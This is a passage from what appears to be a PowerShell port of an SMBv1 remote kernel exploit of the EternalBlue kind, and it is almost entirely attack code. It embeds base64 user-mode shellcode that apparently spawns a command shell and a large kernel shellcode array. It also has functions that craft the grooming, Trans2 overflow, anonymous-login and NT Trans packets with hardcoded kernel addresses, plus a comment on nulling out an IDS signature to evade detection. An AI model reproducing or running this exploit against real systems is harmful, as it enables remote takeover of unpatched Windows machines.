$sc = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAB+QAAAAAEFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1VBQTTHJTTHASP/ASInCSP/ASInBQbrqD9/g/9VIicdqEEFYTIniSIn5QbrC2zdn/9VIMdJIiflBurfpOP//1U0xwEgx0kiJ+UG6dOw74f/VSIn5SInHQbp1bk1h/9VIgcSgAgAASbhjbWQAAAAAAEFQQVBIieJXV1dNMcBqDVlBUOL8ZsdEJFQBAUiNRCQYxgBoSInmVlBBUEFQQVBJ/8BBUEn/yE2JwUyJwUG6ecw/hv/VSDHSSP/Kiw5BugiHHWD/1bvwtaJWQbqmlb2d/9VIg8QoPAZ8CoD74HUFu0cTcm9qAFlBidr/1Q=="
|
||||
|
||||
[Byte[]] $shellcode = [System.Convert]::FromBase64String($sc)
|
||||
|
||||
}
|
||||
|
||||
|
||||
$GROOM_DELTA = 5
|
||||
|
||||
|
||||
function make_kernel_shellcode {
|
||||
[Byte[]] $shellcode =@(0xB9,0x82,0x00,0x00,0xC0,0x0F,0x32,0x48,0xBB,0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,
|
||||
0xFF,0x89,0x53,0x04,0x89,0x03,0x48,0x8D,0x05,0x0A,0x00,0x00,0x00,0x48,0x89,0xC2,
|
||||
0x48,0xC1,0xEA,0x20,0x0F,0x30,0xC3,0x0F,0x01,0xF8,0x65,0x48,0x89,0x24,0x25,0x10,
|
||||
0x00,0x00,0x00,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x50,0x53,0x51,0x52,
|
||||
0x56,0x57,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,
|
||||
0x56,0x41,0x57,0x6A,0x2B,0x65,0xFF,0x34,0x25,0x10,0x00,0x00,0x00,0x41,0x53,0x6A,
|
||||
0x33,0x51,0x4C,0x89,0xD1,0x48,0x83,0xEC,0x08,0x55,0x48,0x81,0xEC,0x58,0x01,0x00,
|
||||
0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x9D,0xC0,0x00,0x00,0x00,
|
||||
0x48,0x89,0xBD,0xC8,0x00,0x00,0x00,0x48,0x89,0xB5,0xD0,0x00,0x00,0x00,0x48,0xA1,
|
||||
0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC1,0xEA,0x20,0x48,
|
||||
0x31,0xDB,0xFF,0xCB,0x48,0x21,0xD8,0xB9,0x82,0x00,0x00,0xC0,0x0F,0x30,0xFB,0xE8,
|
||||
0x38,0x00,0x00,0x00,0xFA,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x48,0x83,
|
||||
0xEC,0x78,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59,
|
||||
0x41,0x58,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0x58,0x65,0x48,0x8B,0x24,0x25,0x10,0x00,
|
||||
0x00,0x00,0x0F,0x01,0xF8,0xFF,0x24,0x25,0xF8,0x0F,0xD0,0xFF,0x56,0x41,0x57,0x41,
|
||||
0x56,0x41,0x55,0x41,0x54,0x53,0x55,0x48,0x89,0xE5,0x66,0x83,0xE4,0xF0,0x48,0x83,
|
||||
0xEC,0x20,0x4C,0x8D,0x35,0xE3,0xFF,0xFF,0xFF,0x65,0x4C,0x8B,0x3C,0x25,0x38,0x00,
|
||||
0x00,0x00,0x4D,0x8B,0x7F,0x04,0x49,0xC1,0xEF,0x0C,0x49,0xC1,0xE7,0x0C,0x49,0x81,
|
||||
0xEF,0x00,0x10,0x00,0x00,0x49,0x8B,0x37,0x66,0x81,0xFE,0x4D,0x5A,0x75,0xEF,0x41,
|
||||
0xBB,0x5C,0x72,0x11,0x62,0xE8,0x18,0x02,0x00,0x00,0x48,0x89,0xC6,0x48,0x81,0xC6,
|
||||
0x08,0x03,0x00,0x00,0x41,0xBB,0x7A,0xBA,0xA3,0x30,0xE8,0x03,0x02,0x00,0x00,0x48,
|
||||
0x89,0xF1,0x48,0x39,0xF0,0x77,0x11,0x48,0x8D,0x90,0x00,0x05,0x00,0x00,0x48,0x39,
|
||||
0xF2,0x72,0x05,0x48,0x29,0xC6,0xEB,0x08,0x48,0x8B,0x36,0x48,0x39,0xCE,0x75,0xE2,
|
||||
0x49,0x89,0xF4,0x31,0xDB,0x89,0xD9,0x83,0xC1,0x04,0x81,0xF9,0x00,0x00,0x01,0x00,
|
||||
0x0F,0x8D,0x66,0x01,0x00,0x00,0x4C,0x89,0xF2,0x89,0xCB,0x41,0xBB,0x66,0x55,0xA2,
|
||||
0x4B,0xE8,0xBC,0x01,0x00,0x00,0x85,0xC0,0x75,0xDB,0x49,0x8B,0x0E,0x41,0xBB,0xA3,
|
||||
0x6F,0x72,0x2D,0xE8,0xAA,0x01,0x00,0x00,0x48,0x89,0xC6,0xE8,0x50,0x01,0x00,0x00,
|
||||
0x41,0x81,0xF9,0xBF,0x77,0x1F,0xDD,0x75,0xBC,0x49,0x8B,0x1E,0x4D,0x8D,0x6E,0x10,
|
||||
0x4C,0x89,0xEA,0x48,0x89,0xD9,0x41,0xBB,0xE5,0x24,0x11,0xDC,0xE8,0x81,0x01,0x00,
|
||||
0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x4D,0x8D,0x4E,0x08,0x49,0xC7,0x01,0x00,
|
||||
0x10,0x00,0x00,0x4D,0x31,0xC0,0x4C,0x89,0xF2,0x31,0xC9,0x48,0x89,0x0A,0x48,0xF7,
|
||||
0xD1,0x41,0xBB,0x4B,0xCA,0x0A,0xEE,0x48,0x83,0xEC,0x20,0xE8,0x52,0x01,0x00,0x00,
|
||||
0x85,0xC0,0x0F,0x85,0xC8,0x00,0x00,0x00,0x49,0x8B,0x3E,0x48,0x8D,0x35,0xE9,0x00,
|
||||
0x00,0x00,0x31,0xC9,0x66,0x03,0x0D,0xD7,0x01,0x00,0x00,0x66,0x81,0xC1,0xF9,0x00,
|
||||
0xF3,0xA4,0x48,0x89,0xDE,0x48,0x81,0xC6,0x08,0x03,0x00,0x00,0x48,0x89,0xF1,0x48,
|
||||
0x8B,0x11,0x4C,0x29,0xE2,0x51,0x52,0x48,0x89,0xD1,0x48,0x83,0xEC,0x20,0x41,0xBB,
|
||||
0x26,0x40,0x36,0x9D,0xE8,0x09,0x01,0x00,0x00,0x48,0x83,0xC4,0x20,0x5A,0x59,0x48,
|
||||
0x85,0xC0,0x74,0x18,0x48,0x8B,0x80,0xC8,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0C,
|
||||
0x48,0x83,0xC2,0x4C,0x8B,0x02,0x0F,0xBA,0xE0,0x05,0x72,0x05,0x48,0x8B,0x09,0xEB,
|
||||
0xBE,0x48,0x83,0xEA,0x4C,0x49,0x89,0xD4,0x31,0xD2,0x80,0xC2,0x90,0x31,0xC9,0x41,
|
||||
0xBB,0x26,0xAC,0x50,0x91,0xE8,0xC8,0x00,0x00,0x00,0x48,0x89,0xC1,0x4C,0x8D,0x89,
|
||||
0x80,0x00,0x00,0x00,0x41,0xC6,0x01,0xC3,0x4C,0x89,0xE2,0x49,0x89,0xC4,0x4D,0x31,
|
||||
0xC0,0x41,0x50,0x6A,0x01,0x49,0x8B,0x06,0x50,0x41,0x50,0x48,0x83,0xEC,0x20,0x41,
|
||||
0xBB,0xAC,0xCE,0x55,0x4B,0xE8,0x98,0x00,0x00,0x00,0x31,0xD2,0x52,0x52,0x41,0x58,
|
||||
0x41,0x59,0x4C,0x89,0xE1,0x41,0xBB,0x18,0x38,0x09,0x9E,0xE8,0x82,0x00,0x00,0x00,
|
||||
0x4C,0x89,0xE9,0x41,0xBB,0x22,0xB7,0xB3,0x7D,0xE8,0x74,0x00,0x00,0x00,0x48,0x89,
|
||||
0xD9,0x41,0xBB,0x0D,0xE2,0x4D,0x85,0xE8,0x66,0x00,0x00,0x00,0x48,0x89,0xEC,0x5D,
|
||||
0x5B,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5E,0xC3,0xE9,0xB5,0x00,0x00,0x00,
|
||||
0x4D,0x31,0xC9,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x3C,0x61,0x7C,0x02,0x2C,0x20,
|
||||
0x41,0x01,0xC1,0x38,0xE0,0x75,0xEC,0xC3,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,
|
||||
0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x12,0x48,0x8B,0x72,0x50,0x48,0x0F,
|
||||
0xB7,0x4A,0x4A,0x45,0x31,0xC9,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,
|
||||
0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xEE,0x45,0x39,0xD9,0x75,0xDA,0x4C,0x8B,0x7A,
|
||||
0x20,0xC3,0x4C,0x89,0xF8,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x89,0xC2,0x8B,
|
||||
0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x01,0xD0,0x50,0x8B,
|
||||
0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,
|
||||
0x48,0x01,0xD6,0xE8,0x78,0xFF,0xFF,0xFF,0x45,0x39,0xD9,0x75,0xEC,0x58,0x44,0x8B,
|
||||
0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,
|
||||
0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,
|
||||
0x5B,0x41,0x53,0xFF,0xE0,0x56,0x41,0x57,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,
|
||||
0x41,0xBB,0xDA,0x16,0xAF,0x92,0xE8,0x4D,0xFF,0xFF,0xFF,0x31,0xC9,0x51,0x51,0x51,
|
||||
0x51,0x41,0x59,0x4C,0x8D,0x05,0x1A,0x00,0x00,0x00,0x5A,0x48,0x83,0xEC,0x20,0x41,
|
||||
0xBB,0x46,0x45,0x1B,0x22,0xE8,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xEC,0x5D,0x41,0x5F,
|
||||
0x5E,0xC3)
|
||||
return $shellcode
|
||||
}
|
||||
|
||||
function make_kernel_user_payload($ring3) {
|
||||
$sc = make_kernel_shellcode
|
||||
$sc += [bitconverter]::GetBytes([uint16] ($ring3.length))
|
||||
$sc += $ring3
|
||||
return $sc
|
||||
}
|
||||
function make_smb2_payload_headers_packet(){
|
||||
[Byte[]] $pkt = [Byte[]](0x00,0x00,0xff,0xf7,0xFE) + [system.Text.Encoding]::ASCII.GetBytes("SMB") + [Byte[]](0x00)*124
|
||||
|
||||
return $pkt
|
||||
}
|
||||
|
||||
function make_smb2_payload_body_packet($kernel_user_payload) {
|
||||
$pkt_max_len = 4204
|
||||
$pkt_setup_len = 497
|
||||
$pkt_max_payload = $pkt_max_len - $pkt_setup_len
|
||||
|
||||
#padding
|
||||
[Byte[]] $pkt = [Byte[]] (0x00) * 0x8
|
||||
$pkt += 0x03,0x00,0x00,0x00
|
||||
$pkt += [Byte[]] (0x00) * 0x1c
|
||||
$pkt += 0x03,0x00,0x00,0x00
|
||||
$pkt += [Byte[]] (0x00) * 0x74
|
||||
|
||||
# KI_USER_SHARED_DATA addresses
|
||||
$pkt += [Byte[]] (0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff) * 2 # x64 address
|
||||
$pkt += [Byte[]] (0x00) * 0x10
|
||||
$pkt += [Byte[]] (0xc0,0xf0,0xdf,0xff) * 2 # x86 address
|
||||
$pkt += [Byte[]] (0x00) * 0xc4
|
||||
|
||||
# payload addreses
|
||||
$pkt += 0x90,0xf1,0xdf,0xff
|
||||
$pkt += [Byte[]] (0x00) * 0x4
|
||||
$pkt += 0xf0,0xf1,0xdf,0xff
|
||||
$pkt += [Byte[]] (0x00) * 0x40
|
||||
|
||||
$pkt += 0xf0,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
|
||||
$pkt += [Byte[]] (0x00) * 0x8
|
||||
$pkt += 0x00,0x02,0xd0,0xff,0xff,0xff,0xff,0xff
|
||||
$pkt += 0x00
|
||||
|
||||
$pkt += $kernel_user_payload
|
||||
|
||||
# fill out the rest, this can be randomly generated
|
||||
$pkt += 0x00 * ($pkt_max_payload - $kernel_user_payload.length)
|
||||
|
||||
return $pkt
|
||||
}
|
||||
|
||||
function make_smb1_echo_packet($tree_id, $user_id) {
|
||||
[Byte[]] $pkt = [Byte[]] (0x00) # type
|
||||
$pkt += 0x00,0x00,0x31 # len = 49
|
||||
$pkt += [Byte[]] (0xff) + $enc.GetBytes("SMB") # SMB1
|
||||
$pkt += 0x2b # Echo
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Success
|
||||
$pkt += 0x18 # flags
|
||||
$pkt += 0x07,0xc0 # flags2
|
||||
$pkt += 0x00,0x00 # PID High
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
||||
$pkt += 0x00,0x00 # Reserved
|
||||
$pkt += $tree_id # Tree ID
|
||||
$pkt += 0xff,0xfe # PID
|
||||
$pkt += $user_id # UserID
|
||||
$pkt += 0x40,0x00 # MultiplexIDs
|
||||
|
||||
$pkt += 0x01 # Word count
|
||||
$pkt += 0x01,0x00 # Echo count
|
||||
$pkt += 0x0c,0x00 # Byte count
|
||||
|
||||
# echo data
|
||||
# this is an existing IDS signature, and can be nulled out
|
||||
#$pkt += 0x4a,0x6c,0x4a,0x6d,0x49,0x68,0x43,0x6c,0x42,0x73,0x72,0x00
|
||||
$pkt += 0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00
|
||||
return $pkt
|
||||
}
|
||||
|
||||
function make_smb1_trans2_exploit_packet($tree_id, $user_id, $type, $timeout) {
|
||||
$timeout = ($timeout * 0x10) + 3
|
||||
|
||||
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
|
||||
$pkt += 0x00,0x10,0x35 # length
|
||||
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
|
||||
$pkt += 0x33 # Trans2 request
|
||||
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
|
||||
$pkt += 0x18 # Flags
|
||||
$pkt += 0x07,0xc0 # Flags2
|
||||
$pkt += 0x00,0x00 # PID High
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
||||
$pkt += 0x00,0x00 # Reserved
|
||||
$pkt += $user_id # TreeID
|
||||
$pkt += 0xff,0xfe # PID
|
||||
$pkt += $user_id # UserID
|
||||
$pkt += 0x40,0x00 # MultiplexIDs
|
||||
|
||||
$pkt += 0x09 # Word Count
|
||||
$pkt += 0x00,0x00 # Total Param Count
|
||||
$pkt += 0x00,0x10 # Total Data Count
|
||||
$pkt += 0x00,0x00 # Max Param Count
|
||||
$pkt += 0x00,0x00 # Max Data Count
|
||||
$pkt += 0x00 # Max Setup Count
|
||||
$pkt += 0x00 # Reserved
|
||||
$pkt += 0x00,0x10 # Flags
|
||||
$pkt += 0x35,0x00,0xd0 # Timeouts
|
||||
$pkt += [bitconverter]::GetBytes($timeout)[0] #timeout is a single int
|
||||
$pkt += 0x00,0x00 # Reserved
|
||||
$pkt += 0x00,0x10 # Parameter Count
|
||||
|
||||
#$pkt += 0x74,0x70 # Parameter Offset
|
||||
#$pkt += 0x47,0x46 # Data Count
|
||||
#$pkt += 0x45,0x6f # Data Offset
|
||||
#$pkt += 0x4c # Setup Count
|
||||
#$pkt += 0x4f # Reserved
|
||||
|
||||
if ($type -eq "eb_trans2_exploit") {
|
||||
|
||||
$pkt += [Byte[]] (0x41) * 2957
|
||||
|
||||
$pkt += 0x80,0x00,0xa8,0x00 # overflow
|
||||
|
||||
$pkt += [Byte[]] (0x00) * 0x10
|
||||
$pkt += 0xff,0xff
|
||||
$pkt += [Byte[]] (0x00) * 0x6
|
||||
$pkt += 0xff,0xff
|
||||
$pkt += [Byte[]] (0x00) * 0x16
|
||||
|
||||
$pkt += 0x00,0xf1,0xdf,0xff # x86 addresses
|
||||
$pkt += [Byte[]] (0x00) * 0x8
|
||||
$pkt += 0x20,0xf0,0xdf,0xff
|
||||
|
||||
$pkt += 0x00,0xf1,0xdf,0xff,0xff,0xff,0xff,0xff # x64
|
||||
|
||||
$pkt += 0x60,0x00,0x04,0x10
|
||||
$pkt += [Byte[]] (0x00) * 4
|
||||
|
||||
$pkt += 0x80,0xef,0xdf,0xff
|
||||
|
||||
$pkt += [Byte[]] (0x00) * 4
|
||||
$pkt += 0x10,0x00,0xd0,0xff,0xff,0xff,0xff,0xff
|
||||
$pkt += 0x18,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
|
||||
$pkt += [Byte[]] (0x00) * 0x10
|
||||
|
||||
$pkt += 0x60,0x00,0x04,0x10
|
||||
$pkt += [Byte[]] (0x00) * 0xc
|
||||
$pkt += 0x90,0xff,0xcf,0xff,0xff,0xff,0xff,0xff
|
||||
$pkt += [Byte[]] (0x00) * 0x8
|
||||
$pkt += 0x80,0x10
|
||||
$pkt += [Byte[]] (0x00) * 0xe
|
||||
$pkt += 0x39
|
||||
$pkt += 0xbb
|
||||
|
||||
$pkt += [Byte[]] (0x41) * 965
|
||||
|
||||
return $pkt
|
||||
}
|
||||
|
||||
if($type -eq "eb_trans2_zero") {
|
||||
$pkt += [Byte[]] (0x00) * 2055
|
||||
$pkt += 0x83,0xf3
|
||||
$pkt += [Byte[]] (0x41) * 2039
|
||||
#$pkt += 0x00 * 4096
|
||||
}
|
||||
else {
|
||||
$pkt += [Byte[]] (0x41) * 4096
|
||||
}
|
||||
|
||||
return $pkt
|
||||
}
|
||||
function negotiate_proto_request()
|
||||
{
|
||||
|
||||
[Byte[]] $pkt = [Byte[]] (0x00) # Message_Type
|
||||
$pkt += 0x00,0x00,0x54 # Length
|
||||
|
||||
$pkt += 0xFF,0x53,0x4D,0x42 # server_component: .SMB
|
||||
$pkt += 0x72 # smb_command: Negotiate Protocol
|
||||
$pkt += 0x00,0x00,0x00,0x00 # nt_status
|
||||
$pkt += 0x18 # flags
|
||||
$pkt += 0x01,0x28 # flags2
|
||||
$pkt += 0x00,0x00 # process_id_high
|
||||
$pkt += 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 # signature
|
||||
$pkt += 0x00,0x00 # reserved
|
||||
$pkt += 0x00,0x00 # tree_id
|
||||
$pkt += 0x2F,0x4B # process_id
|
||||
$pkt += 0x00,0x00 # user_id
|
||||
$pkt += 0xC5,0x5E # multiplex_id
|
||||
|
||||
$pkt += 0x00 # word_count
|
||||
$pkt += 0x31,0x00 # byte_count
|
||||
|
||||
# Requested Dialects
|
||||
$pkt += 0x02 # dialet_buffer_format
|
||||
$pkt += 0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x31,0x2E,0x30,0x00 # dialet_name: LANMAN1.0
|
||||
|
||||
$pkt += 0x02 # dialet_buffer_format
|
||||
$pkt += 0x4C,0x4D,0x31,0x2E,0x32,0x58,0x30,0x30,0x32,0x00 # dialet_name: LM1.2X002
|
||||
|
||||
$pkt += 0x02 # dialet_buffer_format
|
||||
$pkt += 0x4E,0x54,0x20,0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x20,0x31,0x2E,0x30,0x00 # dialet_name3: NT LANMAN 1.0
|
||||
|
||||
$pkt += 0x02 # dialet_buffer_format
|
||||
$pkt += 0x4E,0x54,0x20,0x4C,0x4D,0x20,0x30,0x2E,0x31,0x32,0x00 # dialet_name4: NT LM 0.12
|
||||
|
||||
return $pkt
|
||||
}
|
||||
|
||||
|
||||
function make_smb1_nt_trans_packet($tree_id, $user_id) {
|
||||
|
||||
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
|
||||
$pkt += 0x00,0x04,0x38 # length
|
||||
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
|
||||
$pkt += 0xa0 # NT Trans
|
||||
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
|
||||
$pkt += 0x18 # Flags
|
||||
$pkt += 0x07,0xc0 # Flags2
|
||||
$pkt += 0x00,0x00 # PID High
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
||||
$pkt += 0x00,0x00 # Reserved
|
||||
$pkt += $tree_id # TreeID
|
||||
$pkt += 0xff,0xfe # PID
|
||||
$pkt += $user_id # UserID
|
||||
$pkt += 0x40,0x00 # MultiplexID
|
||||
|
||||
$pkt += 0x14 # Word Count
|
||||
$pkt += 0x01 # Max Setup Count
|
||||
$pkt += 0x00,0x00 # Reserved
|
||||
$pkt += 0x1e,0x00,0x00,0x00 # Total Param Count
|
||||
$pkt += 0xd0,0x03,0x01,0x00 # Total Data Count
|
||||
$pkt += 0x1e,0x00,0x00,0x00 # Max Param Count
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Max Data Count
|
||||
$pkt += 0x1e,0x00,0x00,0x00 # Param Count
|
||||
$pkt += 0x4b,0x00,0x00,0x00 # Param Offset
|
||||
$pkt += 0xd0,0x03,0x00,0x00 # Data Count
|
||||
$pkt += 0x68,0x00,0x00,0x00 # Data Offset
|
||||
$pkt += 0x01 # Setup Count
|
||||
$pkt += 0x00,0x00 # Function <unknown>
|
||||
$pkt += 0x00,0x00 # Unknown NT transaction (0) setup
|
||||
$pkt += 0xec,0x03 # Byte Count
|
||||
$pkt += [Byte[]] (0x00) * 0x1f # NT Parameters
|
||||
|
||||
# undocumented
|
||||
$pkt += 0x01
|
||||
$pkt += [Byte[]](0x00) * 0x3cd
|
||||
return $pkt
|
||||
}
|
||||
|
||||
function make_smb1_free_hole_session_packet($flags2, $vcnum, $native_os) {
|
||||
|
||||
[Byte[]] $pkt = 0x00 # Session message
|
||||
$pkt += 0x00,0x00,0x51 # length
|
||||
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
|
||||
$pkt += 0x73 # Session Setup AndX
|
||||
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
|
||||
$pkt += 0x18 # Flags
|
||||
$pkt += $flags2 # Flags2
|
||||
$pkt += 0x00,0x00 # PID High
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
||||
$pkt += 0x00,0x00 # Reserved
|
||||
$pkt += 0x00,0x00 # TreeID
|
||||
$pkt += 0xff,0xfe # PID
|
||||
$pkt += 0x00,0x00 # UserID
|
||||
$pkt += 0x40,0x00 # MultiplexID
|
||||
#$pkt += 0x00,0x00 # Reserved
|
||||
|
||||
$pkt += 0x0c # Word Count
|
||||
$pkt += 0xff # No further commands
|
||||
$pkt += 0x00 # Reserved
|
||||
$pkt += 0x00,0x00 # AndXOffset
|
||||
$pkt += 0x04,0x11 # Max Buffer
|
||||
$pkt += 0x0a,0x00 # Max Mpx Count
|
||||
$pkt += $vcnum # VC Number
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Session key
|
||||
$pkt += 0x00,0x00 # Security blob length
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Reserved
|
||||
$pkt += 0x00,0x00,0x00,0x80 # Capabilities
|
||||
$pkt += 0x16,0x00 # Byte count
|
||||
#$pkt += 0xf0 # Security Blob: <MISSING>
|
||||
#$pkt += 0xff,0x00,0x00,0x00 # Native OS
|
||||
#$pkt += 0x00,0x00 # Native LAN manager
|
||||
#$pkt += 0x00,0x00 # Primary domain
|
||||
$pkt += $native_os
|
||||
$pkt += [Byte[]] (0x00) * 17 # Extra byte params
|
||||
|
||||
return $pkt
|
||||
}
|
||||
|
||||
function make_smb1_anonymous_login_packet {
|
||||
# Neither Rex nor RubySMB appear to support Anon login?
|
||||
|
||||
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
|
||||
$pkt += 0x00,0x00,0x88 # length
|
||||
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
|
||||
$pkt += 0x73 # Session Setup AndX
|
||||
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
|
||||
$pkt += 0x18 # Flags
|
||||
$pkt += 0x07,0xc0 # Flags2
|
||||
$pkt += 0x00,0x00 # PID High
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
||||
$pkt += 0x00,0x00 # TreeID
|
||||
$pkt += 0xff,0xfe # PID
|
||||
$pkt += 0x00,0x00 # Reserved
|
||||
$pkt += 0x00,0x00 # UserID
|
||||
$pkt += 0x40,0x00 # MultiplexID
|
||||
|
||||
$pkt += 0x0d # Word Count
|
||||
$pkt += 0xff # No further commands
|
||||
$pkt += 0x00 # Reserved
|
||||
$pkt += 0x88,0x00 # AndXOffset
|
||||
$pkt += 0x04,0x11 # Max Buffer
|
||||
$pkt += 0x0a,0x00 # Max Mpx Count
|
||||
$pkt += 0x00,0x00 # VC Number
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Session key
|
||||
$pkt += 0x01,0x00 # ANSI pw length
|
||||
$pkt += 0x00,0x00 # Unicode pw length
|
||||
$pkt += 0x00,0x00,0x00,0x00 # Reserved
|
||||
$pkt += 0xd4,0x00,0x00,0x00 # Capabilities
|
||||
$pkt += 0x4b,0x00 # Byte count
|
||||
$pkt += 0x00 # ANSI pw
|
||||
$pkt += 0x00,0x00 # Account name
|
||||
$pkt += 0x00,0x00 # Domain name
|
||||
|
||||
# Windows 2000 2195
|
||||
$pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32
|
||||
$pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x32,0x00,0x31,0x00,0x39,0x00,0x35,0x00
|
||||
$pkt += 0x00,0x00
|
||||
|
||||
# Windows 2000 5.0
|
||||
$pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32
|
||||
$pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x35,0x00,0x2e,0x00,0x30,0x00,0x00,0x00
|
||||
|
||||
return $pkt
|
||||
}
|
||||
|
||||
|
||||
function tree_connect_andx_request($Target, $userid) {
|
||||
|
||||
[Byte[]] $pkt = [Byte[]](0x00) #$pkt +=Message_Type'
|
||||
$pkt +=0x00,0x00,0x47 #$pkt +=Length'
|
||||
|
||||
|
||||
$pkt +=0xFF,0x53,0x4D,0x42 #$pkt +=server_component': .SMB
|
||||
$pkt +=0x75 #$pkt +=smb_command': Tree Connect AndX
|
||||
$pkt +=0x00,0x00,0x00,0x00 #$pkt +=nt_status'
|
||||
$pkt +=0x18 #$pkt +=flags'
|
||||
$pkt +=0x01,0x20 #$pkt +=flags2'
|
||||
$pkt +=0x00,0x00 #$pkt +=process_id_high'
|
||||
$pkt +=0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 #$pkt +=signature'
|
||||
$pkt +=0x00,0x00 #$pkt +=reserved'
|
||||
$pkt +=0x00,0x00 #$pkt +=tree_id'
|
||||
$pkt +=0x2F,0x4B #$pkt +=process_id'
|
||||
$pkt += $userid #$pkt +=user_id'
|
||||
$pkt +=0xC5,0x5E #$pkt +=multiplex_id'
|
||||
|
||||
|
||||
$ipc = "\\"+ $Target + "\IPC$"
|
||||
|
||||
$pkt +=0x04 # Word Count
|
||||
$pkt +=0xFF # AndXCommand: No further commands
|
||||
$pkt +=0x00 # Reserved
|
||||
$pkt +=0x00,0x00 # AndXOffset
|
||||
$pkt +=0x00,0x00 # Flags
|
||||
$pkt +=0x01,0x00 # Password Length
|
||||
$pkt +=0x1A,0x00 # Byte Count
|
||||
$pkt +=0x00 # Password
|
||||
$pkt += [system.Text.Encoding]::ASCII.GetBytes($ipc) # \,0xxx.xxx.xxx.xxx\IPC$
|
||||
$pkt += 0x00 # null byte after ipc added by kev
|
||||
|
||||
$pkt += 0x3f,0x3f,0x3f,0x3f,0x3f,0x00 # Service
|
||||
|
||||
|
||||
$len = $pkt.Length - 4
|
||||
# netbios[1] =$pkt +=0x00' + struct.pack('>H length)
|
||||
$hexlen = [bitconverter]::GetBytes($len)[-2..-4]
|
||||
$pkt[1] = $hexlen[0]
|
||||
$pkt[2] = $hexlen[1]
|
||||
$pkt[3] = $hexlen[2]
|
||||
return $pkt
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
function smb_header($smbheader) {
|
||||
|
||||
$parsed_header =@{server_component=$smbheader[0..3];
|
||||
smb_command=$smbheader[4];
|
||||
error_class=$smbheader[5];
|
||||
reserved1=$smbheader[6];
|
||||
error_code=$smbheader[6..7];
|
||||
